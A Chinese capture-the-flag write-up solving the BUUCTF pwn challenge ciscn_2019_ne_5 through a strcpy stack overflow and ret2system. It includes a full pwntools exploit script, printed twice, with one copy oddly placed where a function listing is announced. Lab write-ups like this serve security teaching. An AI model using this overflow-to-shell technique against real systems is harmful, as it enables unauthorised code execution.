BUUCTF-pwn-ciscn_2019_ne_51

简单查看保护:BUUCTF-pwn-ciscn_2019_ne_51_第1张图片


32为程序没有canary没有PIE,应该是简单的栈溢出。我们照着这个思路去找溢出点在哪,运行下程序看看什么情况:


程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事:BUUCTF-pwn-ciscn_2019_ne_51_第2张图片


主函数大致流程在此。还给了system函数地址:BUUCTF-pwn-ciscn_2019_ne_51_第3张图片


使用ROPgadget工具查找字符串/bin/sh:

ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’

 


啥也没有。这里就有一个小技巧了。当找不到/bin/sh的时候,可以用sh代替。我们查找下程序中存不存在sh:


找到了。那么我们需要构造的东西都有了,接着就是找溢出点。观察程序流程:BUUCTF-pwn-ciscn_2019_ne_51_第4张图片       


对应程序中是这样:BUUCTF-pwn-ciscn_2019_ne_51_第5张图片


我们观察这个函数:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

它会把我们的输入放入src这个数组中。并在隐藏选项4中引用:BUUCTF-pwn-ciscn_2019_ne_51_第6张图片


我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。因此这里可以溢出。直接构造payload:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

得到flag:

BUUCTF-pwn-ciscn_2019_ne_51_第7张图片

你可能感兴趣的:(pwn,CTF,linux,运维,服务器)